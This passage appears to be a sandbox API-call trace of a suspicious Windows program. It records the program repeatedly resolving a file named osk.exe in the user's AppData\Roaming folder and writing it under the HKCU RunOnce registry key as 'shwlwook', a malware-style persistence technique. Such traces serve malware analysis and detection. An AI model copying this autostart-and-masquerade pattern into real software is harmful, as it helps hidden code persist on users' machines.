ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0256.212] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624fd50 | out: ppvObject=0x624fd50*=0x0) returned 0x80004002 [0256.213] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x18 [0256.213] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x17 [0256.213] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0256.213] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x17 [0256.213] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x624fd20) returned 0x0 [0256.214] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x16 [0256.214] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0256.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0256.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0256.214] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.215] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.215] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.215] RegCloseKey (hKey=0x14c) returned 0x0 [0256.215] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.216] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.226] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.226] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.227] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.227] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0256.227] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624fcf0 | out: ppvObject=0x624fcf0*=0x0) returned 0x80004002 [0256.227] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x18 [0256.227] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0256.227] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x19 [0256.227] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e0a80) returned 0x0 [0256.228] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x18 [0256.228] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0256.228] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0256.228] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0256.228] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0256.228] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624fcd0 | out: ppvObject=0x624fcd0*=0x0) returned 0x80004002 [0256.228] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x19 [0256.228] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x18 [0256.228] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0256.228] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x18 [0256.229] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x624fca0) returned 0x0 [0256.229] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x17 [0256.230] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0256.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0256.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0256.230] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.230] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.230] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.230] RegCloseKey (hKey=0x14c) returned 0x0 [0256.231] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.231] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.242] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.242] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.242] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.243] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0256.243] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624fc70 | out: ppvObject=0x624fc70*=0x0) returned 0x80004002 [0256.243] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x19 [0256.243] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0256.243] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x1a [0256.243] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e0a20) returned 0x0 [0256.243] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x19 [0256.243] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0256.243] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0256.243] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0256.244] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0256.244] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624fc50 | out: ppvObject=0x624fc50*=0x0) returned 0x80004002 [0256.244] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x1a [0256.244] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x19 [0256.244] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0256.244] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x19 [0256.244] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x624fc20) returned 0x0 [0256.245] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x18 [0256.245] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0256.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0256.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0256.246] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.246] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.246] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.246] RegCloseKey (hKey=0x14c) returned 0x0 [0256.246] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.247] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.258] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.258] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.258] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.258] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0256.258] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624fbf0 | out: ppvObject=0x624fbf0*=0x0) returned 0x80004002 [0256.258] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x1a [0256.258] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0256.259] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x1b [0256.259] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e09c0) returned 0x0 [0256.259] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x1a [0256.259] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0256.259] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0256.259] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0256.259] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0256.259] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, 